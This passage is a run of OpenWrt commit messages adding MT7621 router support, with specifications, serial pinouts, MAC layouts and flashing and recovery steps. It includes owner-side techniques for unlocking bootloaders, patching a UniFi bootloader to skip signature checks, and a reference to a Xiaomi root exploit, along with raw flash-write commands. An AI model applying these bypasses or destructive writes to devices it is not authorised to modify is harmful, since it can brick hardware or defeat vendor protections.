not do this after having sysupgraded OpenWrt! Reinstalling the
recovery image on normal upgrades is not required or recommended.
Installation from Z-Loader:
- Halt boot by pressing Escape on console
- Set up a tftp server to serve the OpenWrt initramfs-recovery.bin
image at 10.10.10.3
- Type "ATNR 1,initramfs-recovery.bin" at the "ZLB>" prompt
- Wait for OpenWrt to boot and ssh to root@192.168.1.1
- Sysupgrade to the OpenWrt sysupgrade image
NOTE: ATNR will write the recovery image to both primary and recovery
partitions in one go.
Booting from RAM:
- Halt boot by pressing Escape on console
- Type "ATGU" at the "ZLB>" prompt to enter the U-Boot menu
- Press "4" to select "4: Entr boot command line interface."
- Set up a tftp server to serve the OpenWrt initramfs-recovery.bin
image at 10.10.10.3
- Load it using "tftpboot 0x88000000 initramfs-recovery.bin"
- Boot with "bootm 0x8800017C" to skip the 380 (0x17C) bytes ZyXEL
header
This method can also be used to RAM boot OEM firmware. The warning
regarding OEM applies! Never boot an unknown OEM firmware, or any OEM
firmware with a SIM in any slot.
NOTE: U-Boot configuration is incomplete (on some devices?). You may
have to configure a working mac address before running tftp using
"setenv eth0addr <mac>"
Unlocking the bootloader:
If you are unebale to halt boot, then the bootloader is locked.
The OEM firmware locks the bootloader on every boot by setting
DebugFlag to 0. Setting it to 1 is therefore only temporary
when OEM firmware is installed.
- Run "nvram setro uboot DebugFlag 0x1; nvram commit" in OEM firmware
- Run "fw_setenv DebugFlag 0x1" in OpenWrt
NOTE:
OpenWrt does this automatically on first boot if necessary
NOTE2:
Setting the flag to 0x1 avoids the reset to 0 in known OEM
versions, but this might change.
WARNING:
Writing anything to flash while the bootloader is locked is
considered extremely risky. Errors might cause a permanent
brick!
Enabling management access from LAN:
Temporary workaround to allow installing OpenWrt if OEM firmware
has disabled LAN management:
- Connect to console
- Log in as "root"
- Run "iptables -I INPUT -i br0 -j ACCEPT"
Notes on the OEM/bootloader dual partition scheme
The dual partition scheme on this device uses Image2 as a recovery
image only. The device will always boot from Image1, but the
bootloader might copy Image2 to Image1 under specific conditions. This
scheme prevents repurposing of the space occupied by Image2 in any
useful way.
Validation of primary and recovery images is controlled by the
variables CheckBypass, Image1Stable, and Image1Try.
The bootloader sets CheckBypass to 0 and reboots if Image1 fails
validation.
If CheckBypass is 0 and Image1 is invalid then Image2 is copied to
Image1.
If CheckBypass is 0 and Image2 is invalid, then Image1 is copied to
Image2.
If CheckBypass is 1 then all tests are skipped and Image1 is booted
unconditionally. CheckBypass is set to 1 after each successful
validation of Image1.
Image1Try is incremented if Image1Stable is 0, and Image2 is copied to
Image1 if Image1Try is 3 or larger. But the bootloader only tests
Image1Try if CheckBypass is 0, which is impossible unless the booted
image sets it to 0 before failing.
The system is therefore not resilient against runtime errors like
failure to mount the rootfs, unless the kernel image sets CheckBypass
to 0 before failing. This is not yet implemented in OpenWrt.
Setting Image1Stable to 1 prevents the bootloader from updating
Image1Try on every boot, saving unnecessary writes to the environment
partition.
Keeping an OpenWrt initramfs recovery as Image2 is recommended
primarily to avoid unwanted OEM firmware boots on failure. Ref the
warning above. It enables console-less recovery in case of some
failures to boot from Image1.
Signed-off-by: Bjørn Mork <bjorn@mork.no>
Ubiquiti's own bootloader expects the configuration mode to be present
with a "@" instead of a "-" for the sperator character. Otherwise
booting of the image fails.
Signed-off-by: David Bauer <mail@david-bauer.net>
As kernel size increased it start to fail to load squishfs image,
using lzma-loader fixed it.
wevo_11acnas is almost same device as w2914ns-v2 except ram size,
so I expect same thing would've happen in that device too.
Signed-off-by: Seo Suchan <abnoeh@mail.com>
Reviewed-by: Sungbo Eo <mans0n@gorani.run>
The TP-Link EAP235-Wall is a wall-mounted, PoE-powered AC1200 access
point with four gigabit ethernet ports.
When connecting to the device's serial port, it is strongly advised to
use an isolated UART adapter. This prevents linking different power
domains created by the PoE power supply, which may damage your devices.
The device's U-Boot supports saving modified environments with
`saveenv`. However, there is no u-boot-env partition, and saving
modifications will cause the partition table to be overwritten. This is
not an issue for running OpenWrt, but will prevent the vendor FW from
functioning properly.
Device specifications:
* SoC: MT7621DAT
* RAM: 128MiB
* Flash: 16MiB SPI-NOR
* Wireless 2.4GHz (MT7603EN): b/g/n, 2x2
* Wireless 5GHz (MT7613BEN): a/n/ac, 2x2
* Ethernet: 4× GbE
* Back side: ETH0, PoE PD port
* Bottom side: ETH1, ETH2, ETH3
* Single white device LED
* LED button, reset button (available for failsafe)
* PoE pass-through on port ETH3 (enabled with GPIO)
Datasheet of the flash chip specifies a maximum frequency of 33MHz, but
that didn't work. 20MHz gives no errors with reading (flash dump) or
writing (sysupgrade).
Device mac addresses:
Stock firmware uses the same MAC address for ethernet (on device label)
and 2.4GHz wireless. The 5GHz wireless address is incremented by one.
This address is stored in the 'info' ('default-mac') partition at an
offset of 8 bytes.
From OEM ifconfig:
eth a4:2b:b0:...:88
ra0 a4:2b:b0:...:88
rai0 a4:2b:b0:...:89
Flashing instructions:
* Enable SSH in the web interface, and SSH into the target device
* run `cliclientd stopcs`, this should return "success"
* upload the factory image via the web interface
Debricking:
U-boot can be interrupted during boot, serial console is 57600 baud, 8n1
This allows installing a sysupgrade image, or fixing the device in
another way.
* Access serial header from the side of the board, close to ETH3,
pin-out is (1:TX, 2:RX, 3:GND, 4:3.3V), with pin 1 closest to ETH3.
* Interrupt bootloader by holding '4' during boot, which drops the
bootloader into its shell
* Change default 'serverip' and 'ipaddr' variables (optional)
* Download initramfs with `tftpboot`, and boot image with `bootm`
# tftpboot 84000000 openwrt-initramfs.bin
# bootm
Revert to stock:
Using the tplink-safeloader utility from the firmware-utils package,
TP-Link's firmware image can be converted to an OpenWrt-compatible
sysupgrade image:
$ ./staging_dir/host/bin/tplink-safeloader -B EAP235-WALL-V1 \
-z EAP235-WALLv1_XXX_up_signed.bin -o eap235-sysupgrade.bin
This can then be flashed using the OpenWrt sysupgrade interface. The
image will appear to be incompatible and must be force flashed, without
keeping the current configuration.
Known issues:
- DFS support is incomplete (known issue with MT7613)
- MT7613 radio may stop responding when idling, reboot required.
This was an issue with the ddc75ff704 version of mt76, but appears to
have improved/disappeared with bc3963764d.
Error notice example:
[ 7099.554067] mt7615e 0000:02:00.0: Message 73 (seq 1) timeout
Hardware was kindly provided for porting by Stijn Segers.
Tested-by: Stijn Segers <foss@volatilesystems.org>
Signed-off-by: Sander Vanheule <sander@svanheule.net>
Specifications:
- SoC: MediaTek MT7621AT
- RAM: 128 MB (DDR3)
- Flash: 16 MB (SPI NOR)
- WiFi: MediaTek MT7603E, MediaTek MT7612E
- Switch: 1 WAN, 4 LAN (Gigabit)
- Ports: 1 USB 3.0
- Buttons: Reset, WPS
- LEDs: Power, System, Wan, Lan 1-4, WiFi 2.4G, WiFi 5G, WPS, USB
- Power: DC 12V 1A tip positive
UART Serial:
115200 baud
Located on unpopulated 4 pin header near J4:
J4
[o] Rx
[o] Tx
[o] GND
[ ] Vcc - Do not connect
Installation:
Download and flash the manufacturer's built OpenWRT image available at
http://www.cudytech.com/openwrt_software_download
Install the new OpenWRT image via luci (System -> Backup/Flash firmware)
Be sure to NOT keep settings. The force upgrade may need to be checked
due to differences in router naming conventions.
Recovery:
- Loads only signed manufacture firmware due to bootloader RSA verification
- serve tftp-recovery image as /recovery.bin on 192.168.1.88/24
- connect to any lan ethernet port
- power on the device while holding the reset button
- wait at least 8 seconds before releasing reset button for image to
download
- See http://www.cudytech.com/newsinfo/547425.html
MAC addresses as verified by OEM firmware:
use address source
LAN *:f0 label
WAN *:f1 label + 1
2g *:f0 label
5g *:f2 label + 2
The label MAC address is found in bdinfo 0xde00.
Signed-off-by: Andrew Pikler <andrew.pikler@gmail.com>
UniElec U7621-01 is a router platform board, the smaller model of
the U7621-06.
The device has the following specifications:
- MT7621AT (880 MHz)
- 256 of RAM (DDR3)
- 16 MB of FLASH (SPI NOR)
- 5x 1 Gbps Ethernet (MT7621 built-in switch)
- 1x 2.4Ghz MT7603E
- 1x 5Ghz MT7612
- 1x miniPCIe slots (PCIe bus only)
- 1x miniSIM slot
- 1x USB 2.0 (uses the usb 3.0 driver)
- 8x LEDs (1x GPIO-controlled)
- 1x reset button
- 1x UART header (4-pins)
- 1x GPIO header (30-pins)
- 1x DC jack for main power (12 V)
The following has been tested and is working:
- Ethernet switch
- 1x 2.4Ghz MT7603E (wifi)
- 1x 5Ghz MT7612 (wifi)
- miniPCIe slots (tested with Wi-Fi cards and LTE modem cards)
- miniSIM slot (works with normal size simcard)
- sysupgrade
- reset button
Installation:
This board has no locked down bootloader. The seller can be asked to
install openwrt v18.06, so upgrades are standard sysupgrade method.
Recovery:
This board contains a Chinese, closed-source bootloader called Breed
(Boot and Recovery Environment for Embedded Devices). Breed supports web
recovery and to enter it, you keep the reset button pressed for around
5 seconds during boot. Your machine will be assigned an IP through DHCP
and the router will use IP address 192.168.1.1. The recovery website is
in Chinese, but is easy to use. Click on the second item in the list to
access the recovery page, then the second item on the next page is where
you select the firmware. In order to start the recovery, you click the
button at the bottom.
LEDs list (left to right):
- ESW_P0_LED_0
- ESW_P1_LED_0
- ESW_P2_LED_0
- ESW_P3_LED_0
- ESW_P4_LED_0
- CTS2_N (GPIO10, configured as "status" LED)
- LED_WLAN# (connected with pin 44 in wifi1 slot)
Signed-off-by: David Bentham <db260179@gmail.com>
[add DEVICE_VARIANT, fix DEVICE_PACKAGES, remove &gpio]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Xiaomi Mi Router 4 is the same as Xiaomi Mi Router 3G, except for
the RAM (256Mib→128Mib), LEDs and gpio (MiNet button).
Specifications:
Power: 12 VDC, 1 A
Connector type: barrel
CPU1: MediaTek MT7621A (880 MHz, 4 cores)
FLA1: 128 MiB (ESMT F59L1G81MA)
RAM1: 128 MiB (ESMT M15T1G1664A)
WI1 chip1: MediaTek MT7603EN
WI1 802dot11 protocols: bgn
WI1 MIMO config: 2x2:2
WI1 antenna connector: U.FL
WI2 chip1: MediaTek MT7612EN
WI2 802dot11 protocols: an+ac
WI2 MIMO config: 2x2:2
WI2 antenna connector: U.FL
ETH chip1: MediaTek MT7621A
Switch: MediaTek MT7621A
UART Serial
[o] TX
[o] GND
[o] RX
[ ] VCC - Do not connect it
MAC addresses as verified by OEM firmware:
use address source
LAN *:c2 factory 0xe000 (label)
WAN *:c3 factory 0xe006
2g *:c4 factory 0x0000
5g *:c5 factory 0x8000
Flashing instructions:
1.Create a simple http server (nginx etc)
2.set uart enable
To enable writing to the console, you must reset to factory settings
Then you see uboot boot, press the keyboard 4 button (enter uboot command line)
If it is not successful, repeat the above operation of restoring the factory settings.
After entering the uboot command line, type:
setenv uart_en 1
saveenv
boot
3.use shell in uart
cd /tmp
wget http://"your_computer_ip:80"/openwrt-ramips-mt7621-xiaomi_mir4-squashfs-kernel1.bin
wget http://"your_computer_ip:80"/openwrt-ramips-mt7621-xiaomi_mir4-squashfs-rootfs0.bin
mtd write openwrt-ramips-mt7621-xiaomi_mir4-squashfs-kernel1.bin kernel1
mtd write openwrt-ramips-mt7621-xiaomi_mir4-squashfs-rootfs0.bin rootfs0
nvram set flag_try_sys1_failed=1
nvram commit
reboot
4.login to the router http://192.168.1.1/
Installation via Software exploit
Find the instructions in the https://github.com/acecilia/OpenWRTInvasion
Signed-off-by: Dmytro Oz <sequentiality@gmail.com>
[commit message facelift, rebase onto shared DTSI/common device
definition, bump uboot-envtools]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This creates a shared device definition for Xiaomi devices with
NAND and "separate" images, i.e. kernel1.bin and rootfs0.bin.
This allows to consolidate similar/duplicate code for AC2100 family
and Mi Router 3G.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Remove trailing whitespaces in two *.mk files.
Signed-off-by: Leon M. George <leon@georgemail.eu>
[fix title, add message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Hardware
--------
MediaTek MT7621AT
256M DDR3
32M SPI-NOR
MediaTek MT7603 2T2R 802.11n 2.4GHz
MediaTek MT7915 2T2R 802.11ax 5GHz
Not Working
-----------
- Bluetooth (connected to UART3)
UART
----
UART is located in the lower left corner of the board. Pinout is
0 - 3V3 (don't connect)
1 - RX
2 - TX
3 - GND
Console is 115200 8N1.
Boot
----
1. Connect to the serial console and connect power.
2. Double-press ESC when prompted
3. Set the fdt address
$ fdt addr $(fdtcontroladdr)
4. Remove the signature node from the control FDT
$ fdt rm /signature
5. Transfer and boot the OpenWrt initramfs image to the device.
Make sure to name the file C0A80114.img and have it reachable at
192.168.1.1/24
$ tftpboot; bootm
Installation
------------
1. Connect to the booted device at 192.168.1.20 using username/password
"ubnt".
2. Update the bootloader environment.
$ fw_setenv devmode TRUE
$ fw_setenv boot_openwrt "fdt addr \$(fdtcontroladdr);
fdt rm /signature; bootubnt"
$ fw_setenv bootcmd "run boot_openwrt"
3. Transfer the OpenWrt sysupgrade image to the device using SCP.
4. Check the mtd partition number for bs / kernel0 / kernel1
$ cat /proc/mtd
5. Set the bootselect flag to boot from kernel0
$ dd if=/dev/zero bs=1 count=1 of=/dev/mtdblock4
6. Write the OpenWrt sysupgrade image to both kernel0 as well as kernel1
$ dd if=openwrt.bin of=/dev/mtdblock6
$ dd if=openwrt.bin of=/dev/mtdblock7
7. Reboot the device. It should boot into OpenWrt.
Below are the original installation instructions prior to the discovery
of "devmode=TRUE". They are not required for installation and are
documentation only.
The bootloader employs signature verification on the FIT image
configurations. This way, booting unauthorized image without patching
the bootloader is not possible. Manually configuring the bootcmd in the
U-Boot envronment won't work, as this is restored to the default value
if modified.
The bootloader is made up of three different parts.
1. The SPL performing early board initialization and providing a XModem
recovery in case the PBL is missing
2. The PBL being the primary U-Boot application and containing the
control FDT. It is LZMA packed with a uImage header.
3. A Ubiquiti standalone U-Boot application providing the main boot
routine as well as their recovery mechanism.
In a perfect world, we would only replace the PBL, as the SPL does not
perform checks on the PBLs integrity. However, as the PBL is in the same
eraseblock as the SPL, we need to at least rewrite both.
The bootloader will only verify integrity in case it has a "signature"
node in it's control device-tree. Renaming the signature node to
something else will prevent this from happening.
Warning: These instructions are based on the firmware intially
shipped with the device and potentially brick your device in a way it
can only be recovered using a SPI flasher.
Only (!) proceed if you understand this!
1. Extract the bootloader from the U-Boot partition using the OpenWrt
initramfs image.
2. Split the bootloader into it's 3 components:
$ dd if=bootloader.bin of=spl.bin bs=1 skip=0 count=45056
$ dd if=bootloader.bin of=pbl.uimage bs=1 skip=45056 count=143360
$ dd if=bootloader.bin of=ubnt.uimage bs=1 skip=188416
3. Strip the uImage header from the PBL
$ dd if=pbl.uimage of=pbl.lzma bs=64 skip=1
4. Decompress the PBL
$ lzma -d pbl.lzma --single-stream
The decompressed PBL sha256sum should be
d8b406c65240d260cf15be5f97f40c1d6d1b6e61ec3abed37bb841c90fcc1235
5. Open the decompressed PBL using your favorite hexeditor. Locate the
control FDT at offset 0x4CED0 (0xD00DFEED). At offset 0x4D5BC, the
label for the signature node is located. Rename the "signature"
string at this offset to "signaturr".
The patched PBL sha256sum should be
d028e374cdb40ba44b6e3cef2e4e8a8c16a3b85eb15d9544d24fdd10eed64c97
6. Compress the patched PBL
$ lzma -z pbl --lzma1=dict=67108864
The resulting pbl.lzma file should have the sha256sum
7ae6118928fa0d0b3fe4ff81abd80ecfd9ba2944cb0f0a462b6ae65913088b42
7. Create the PBL uimage
$ SOURCE_DATE_EPOCH=1607909492 mkimage -A mips -O u-boot -C lzma
-n "U-Boot 2018.03 [UniFi,v1.1.40.71]" -a 84000000 -e 84000000
-T firmware -d pbl.lzma patched_pbl.uimage
The resulting patched_pbl.uimage should have the sha256sum
b90d7fa2dcc6814180d3943530d8d6b0d6a03636113c94e99af34f196d3cf2ce
8. Reassemble the complete bootloader
$ dd if=patched_pbl.uimage of=aligned_pbl.uimage bs=143360 count=1
conv=sync
$ cat spl.bin > patched_uboot.bin
$ cat aligned_pbl.uimage >> patched_uboot.bin
$ cat ubnt.uimage >> patched_uboot.bin
The resulting patched_uboot.bin should have the sha256sum
3e1186f33b88a525687285c2a8b22e8786787b31d4648b8eee66c672222aa76b
9. Transfer your patched bootloader to the device. Also install the
kmod-mtd-rw package using opkg and load it.
$ insmod mtd-rw.ko i_want_a_brick=1
Write the patched bootloader to mtd0
$ mtd write patched_uboot.bin u-boot
10. Erase the kernel1 partition, as the bootloader might otherwise
decide to boot from there.
$ mtd erase kernel1
11. Transfer the OpenWrt sysupgrade image to the device and install
using sysupgrade.
FIT configurations
------------------
In the future, the MT7621 UniFi6 family can be supported by a single
OpenWrt image.
config@1: U6 Lite
config@2: U6 IW
config@3: U6 Mesh
config@4: U6 Extender
config@5: U6 LR-EA (Early Access - GA is MT7622)
Signed-off-by: David Bauer <mail@david-bauer.net>
ELECOM WRC-1167GST2 is a 2.4/5 GHz band 11ac (Wi-Fi 5) router, based
on MT7621A.
Specification:
- SoC : MediaTek MT7621A
- RAM : DDR3 256 MiB
- Flash : SPI-NOR 32 MiB
- WLAN : 2.4/5 GHz 2T2R (MediaTek MT7615D)
- Ethernet : 10/100/1000 Mbps x5
- Switch : MediaTek MT7530 (SoC)
- LED/keys : 6x/6x (2x buttons, 1x slide-switch)
- UART : through-hole on PCB
- J4: 3.3V, GND, TX, RX from ethernet port side
- 57600n8
- Power : 12VDC, 1A
MAC addresses:
LAN : 04:AB:18:**:**:07 (Factory, 0xE000 (hex))
WAN : 04:AB:18:**:**:08 (Factory, 0xE006 (hex))
2.4 GHz : 04:AB:18:**:**:09 (none)
5 GHz : 04:AB:18:**:**:0A (none)
Flash instruction using factory image:
1. Boot WRC-1167GST2 normally
2. Access to "http://192.168.2.1/" and open firmware update page
("ファームウェア更新")
3. Select the OpenWrt factory image and click apply ("適用") button
4. Wait ~150 seconds to complete flashing
Notes:
- there is no way to configure the correct MAC address for secondary phy
(5GHz) on MT7615D
- Wi-Fi band on primary phy (2.4GHz) cannot be limitted by specifying
ieee80211-freq-limit
(fail to register secondary phy due to error)
- mtd-mac-address in the wifi node is required for using
mtd-mac-address-increment
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
[rebase onto split DTSI]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
ELECOM WRC-1167GS2-B is a 2.4/5 GHz band 11ac (Wi-Fi 5) router, based
on MT7621A.
Specification:
- SoC : MediaTek MT7621A
- RAM : DDR3 128 MiB
- Flash : SPI-NOR 16 MiB
- WLAN : 2.4/5 GHz 2T2R (MediaTek MT7615D)
- Ethernet : 10/100/1000 Mbps x5
- Switch : MediaTek MT7530 (SoC)
- LED/keys : 6x/6x (2x buttons, 1x slide-switch)
- UART : through-hole on PCB
- J4: 3.3V, GND, TX, RX from ethernet port side
- 57600n8
- Power : 12VDC, 1A
MAC addresses:
LAN : 04:AB:18:**:**:13 (Factory, 0xFFF4 (hex))
WAN : 04:AB:18:**:**:14 (Factory, 0xFFFA (hex))
2.4 GHz : 04:AB:18:**:**:15 (none)
5 GHz : 04:AB:18:**:**:16 (Factory, 0x4 (hex))
Flash instruction using factory image:
1. Boot WRC-1167GS2-B normally
2. Access to "http://192.168.2.1/" and open firmware update page
("ファームウェア更新")
3. Select the OpenWrt factory image and click apply ("適用") button
4. Wait ~120 seconds to complete flashing
Notes:
- there is no way to configure the correct MAC address for secondary phy
(5GHz) on MT7615D
- Wi-Fi band on primary phy (2.4GHz) cannot be limitted by specifying
ieee80211-freq-limit
(fail to register secondary phy due to error)
- mtd-mac-address in the wifi node is required for using
mtd-mac-address-increment
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
[rebase onto split DTSI patch]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Specifications:
- SoC: MediaTek MT7621AT
- RAM: 128 MB (DDR3)
- Flash: 16 MB (SPI NOR)
- WiFi: MediaTek MT7615N (x2)
- Switch: 1 WAN, 4 LAN (Gigabit)
- Ports: 1 USB 2.0, 1 USB 3.0
- Buttons: Reset, WiFi Toggle, WPS
- LEDs: Power, Internet, WiFi 2.4G WiFi 5G, USB 2.0, USB 3.0
The R1 revision is identical to the A1 revision except
- No Config2 Parition, therefore
- factory partition resized to 64k from 128K
- Firmware partition offset is 0x50000 not 0x60000
- Firmware partitions size increased by 64K
- Firmware partition type is "denx,uimage", not "sge,uimage"
- Padding of image creation "uimage-padhdr 96" removed
Installation:
- Older firmware versions: put the factory image on a USB stick, turn on
the telnet console, and flash using the following cmd
"fw_updater Linux /mnt/usb_X_X/firmware.bin"
- D-Link FailsafeUI:
Power down the router, press and hold the reset button, then
re-plug it. Keep the reset button pressed until the internet LED stops
flashing, then jack into any lan port and manually assign a static IP
address in 192.168.0.0/24 other than 192.168.0.0 (e.g. 192.168.0.2)
and go to http://192.168.0.1
Flash with the factory image.
Signed-off-by: Andrew Pikler <andrew.pikler@gmail.com>
Most of Build/elecom-wrc-factory and Build/elecom-wrc-gs-factory are
nearly equal, Unify those definitions by using "-N" option of mkhash and
splitting the appending text at the end of firmware image for WRC-GS/GST
devices.
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
The GL-MT1300 is a high-performance new generation pocket-sized router
that offers a powerful hardware and first-class cybersecurity protocol
with unique and modern design.
Specifications:
- SoC: MT7621A, Dual-Core @880MHz
- RAM: 256 MB DDR3
- Flash: 32 MB
- Ethernet: 3 x 10/100/1000: 2 x LAN + 1 x WAN
- Wireless: 1 x MT7615D Dual-Band 2.4GHz(400Mbps) + 5GHz(867Mbps)
- USB: 1 x USB 3.0 port
- Slot: 1 x MicroSD card slot
- Button: 1 x Reset button
- Switch: 1 x Mode switch
- LED: 1 x Blue LED + 1 x White LED
MAC addresses based on vendor firmware:
WAN : factory 0x4000
LAN : Mac from factory 0x4000 + 1
2.4GHz : factory 0x4
5GHz : Mac form factory 0x4 + 1
Flashing instructions:
1.Connect to one of LAN ports.
2.Set the static IP on the PC to 192.168.1.2.
3.Press the Reset button and power the device (do not release the button).
After waiting for the blue led to flash 5 times, the white led will
come on and release the button.
4.Browse the 192.168.1.1 web page and update firmware according to web
tips.
5.The blue led will flash when the firmware is being upgraded.
6.The blue led stops blinking to indicate that the firmware upgrade is
complete and U-Boot automatically starts the firmware.
For more information on GL-MT1300, see the OFFICIAL GL.iNet website:
https://www.gl-inet.com/products/gl-mt1300/
Signed-off-by: Xinfa Deng <xinfa.deng@gl-inet.com>
[add input-type for switch, wrap long line in 10_fix_wifi_mac]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This aligns the device/image names of the older Xiaomi Mi Router
devices with their "friendly" model and DEVICE_MODEL properties.
This also reintroduces consistency with the newer devices already
following that scheme.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Specifications:
SoC: MediaTek MT7621ST (880 MHz)
FLASH: 16 MiB (Macronix MX25L12835FM2I-10G)
RAM: 128 MiB (Nanya NT5CB64M16FP-DH)
WiFi: MediaTek MT7603EN bgn 2x2:2
WiFi: MediaTek MT7612EN an 2x2:2
BTN: Reset, WPS
LED: - Power
- WiFi 2.4 GHz
- WiFi 5 GHz
- WAN
- LAN {1-4}
- USB {1-2}
UART: UART is present as pin hole next to the aluminium capacitor.
3V3 - RX - GND - TX / 115200-8N1
3V3 is the nearest on the aluminium capacitor and nut hole (pin1).
USB: 2 ports
POWER: 12VDC, 1.5A (Barrel 5.5x2.1)
Installation:
Via TFTP:
Set your computers IP-Address to 192.168.1.75
Power up the Router with the Reset button pressed.
Release the Reset button after 5 seconds.
Upload OpenWRT sysupgrade image via TFTP:
tftp -4 -v -m binary 192.168.1.1 -c put IMAGE
MAC addresses:
0x4 *:98 2g/wan, label
0x22 *:9c
0x28 *:98
0x8004 *:9c 5g/lan
Though addresses are written to 0x22 and 0x28, it appears that the
vendor firmware actually only uses 0x4 and 0x8004. Thus, we do the
same here.
Signed-off-by: Pavel Chervontsev <cherpash@gmail.com>
[add MAC address overview, add label-mac-device, fix IMAGE_SIZE]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
custom-initramfs-uimage was replaced by calls to uImage, but apparently
mtc_wr1201 was missed in the transistion. Use uImage for this device
too.
Fixes: 9f574b1b87 "ramips: mt7621: drop custom uImage function"
Signed-off-by: Sander Vanheule <sander@svanheule.net>
Use the mkimage argument overrides provided by uImage to implement the
customisations required for the initramfs, instead of the near-identical
custom function.
Signed-off-by: Sander Vanheule <sander@svanheule.net>
This device has previously been supported by the image
for Xiaomi Mi Router 3G v2. Since this is not obvious, the
4A is marketed as a new major revision and it also seems to
have a different bootloader, this will be both more tidy and
more helpful for the users.
Apart from that, note that there also is a 100M version of
the device that uses mt7628 platform, so a specifically named
image will also prevent confusion in this area.
Specifications:
- SoC: MediaTek MT7621
- Flash: 16 MiB NOR SPI
- RAM: 128 MiB DDR3
- Ethernet: 3x 10/100/1000 Mbps (switched, 2xLAN + WAN)
- WIFI0: MT7603E 2.4GHz 802.11b/g/n
- WIFI1: MT7612E 5GHz 802.11ac
- Antennas: 4x external (2 per radio), non-detachable
- LEDs: Programmable "power" LED (two-coloured, yellow/blue)
Non-programmable "internet" LED (shows WAN activity)
- Buttons: Reset
Installation:
Bootloader won't accept any serial input unless "boot_wait" u-boot
environment variable is changed to "on".
Vendor firmware won't accept any serial input until "uart_en" is
set to "1".
Using the https://github.com/acecilia/OpenWRTInvasion exploit you
can gain access to shell to enable these options:
To enable uart keyboard actions - 'nvram set uart_en=1'
To make uboot delay boot work - 'nvram set boot_wait=on'
Set boot delay to 5 - 'nvram set bootdelay=5'
Then run 'nvram commit' to make the changes permanent.
Once in the shell (following the OpenWRTInvasion instructions) you
can then run the following to flash OpenWrt and then reboot:
'cd /tmp; curl https://downloads.openwrt.org/...-sysupgrade.bin
--output firmware.bin; mtd -e OS1 -r write firmware.bin OS1'
Suggested-by: David Bentham <db260179@gmail.com>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This patch adds support for D-Link DIR-2640 A1.
Specifications:
* Board: AP-MTKH7-0002
* SoC: MediaTek MT7621AT
* RAM: 256 MB (DDR3)
* Flash: 128 MB (NAND)
* WiFi: MediaTek MT7615N (x2)
* Switch: 1 WAN, 4 LAN (Gigabit)
* Ports: 1 USB 2.0, 1 USB 3.0
* Buttons: Reset, WPS
* LEDs: Power (blue/orange), Internet (blue/orange), WiFi 2.4G (blue),
WiFi 5G (blue), USB 3.0 (blue), USB 2.0 (blue)
Notes:
* WiFi 2.4G and WiFi 5G LEDs are wired directly to the wireless chips
Installation:
* D-Link Recovery GUI: power down the router, press and hold the reset
button, then re-plug it. Keep the reset button pressed until the power
LED starts flashing orange, manually assign a static IP address under
the 192.168.0.xxx subnet (e.g. 192.168.0.2) and go to http://192.168.0.1
* Some modern browsers may have problems flashing via the Recovery GUI,
if that occurs consider uploading the firmware through cURL:
curl -v -i -F "firmware=@file.bin" 192.168.0.1
MAC addresses:
lan factory 0xe000 *:a7 (label)
wan factory 0xe006 *:aa
2.4 factory 0xe000 +1 *:a8
5.0 factory 0xe000 +2 *:a9
Seems like vendor didn't replace the dummy entries in the calibration data.
Signed-off-by: James McGuire <jamesm51@gmail.com>
[fix device definition title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
- minimal built initramfs: 11MB vmlinux ELF -> 4.5MB vmlinuz
- ~5 seconds for kernel decompression, which was equivalent to the
additional time to load the uncompressed ELF from SPI NOR.
- Removes requirement for lzma-loader, which may have been causing some
image builds to fail to boot on Mikrotik mt7621.
Fixes: FS#3354
Suggested-by: Thibaut VARÈNE <hacks@slashdirt.org>
Signed-off-by: John Thomson <git@johnthomson.fastmail.com.au>
Specifications:
- SoC: MT7621AT
- RAM: 256MB
- Flash: 16MB (EN25QH128A)
- Ethernet: 5xGbE
- WiFi: MT7915 2x2 2.4G 573.5Mbps + 2x2 5G 1201Mbps
Known issue:
MT7915 DBDC variant isn't supported yet.
Flash instruction:
Upload the sysupgrade firmware to the firmware upgrade page in
vendor fw.
Other info:
MT7915 seems to have two PCIEs connected to MT7621. Card detected on
PCIE0 has an ID of 14c3:7916 and the other one on PCIE1 has 14c3:7915.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
This submission relied heavily on the work of
Santiago Rodriguez-Papa <contact at rodsan.dev>
Specifications:
* SoC: MediaTek MT7621A (880 MHz 2c/4t)
* RAM: Winbond W632GG6MB-12 (256M DDR3-1600)
* Flash: Winbond W29N01HVSINA (128M NAND)
* Eth: MediaTek MT7621A (10/100/1000 Mbps x5)
* Radio: MT7603E/MT7615N (2.4 GHz & 5 GHz)
4 antennae: 1 internal and 3 non-deatachable
* USB: 3.0 (x1)
* LEDs:
White (x1 logo)
Green (x6 eth + wps)
Orange (x5, hardware-bound)
* Buttons:
Reset (x1)
WPS (x1)
Installation:
Flash factory image through GUI.
This might fail due to the A/B nature of this device. When flashing, OEM
firmware writes over the non-booted partition. If booted from 'A',
flashing over 'B' won't work. To get around this, you should flash the
OEM image over itself. This will then boot the router from 'B' and
allow you to flash OpenWRT without problems.
Reverting to factory firmware:
Hard-reset the router three times to force it to boot from 'B.' This is
where the stock firmware resides. To remove any traces of OpenWRT from
your router simply flash the OEM image at this point.
Signed-off-by: J. Scott Heppler <shep971@centurylink.net>
This reverts commit e81e625ca3.
This was meant just for early DSA-adopters. Those should have
updated by now, remove it so future updaters get the intended
experience.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This patch adds support for D-Link DIR-2660 A1.
Specifications:
* Board: AP-MTKH7-0002
* SoC: MediaTek MT7621AT
* RAM: 256 MB (DDR3)
* Flash: 128 MB (NAND)
* WiFi: MediaTek MT7615N (x2)
* Switch: 1 WAN, 4 LAN (Gigabit)
* Ports: 1 USB 2.0, 1 USB 3.0
* Buttons: Reset, WPS
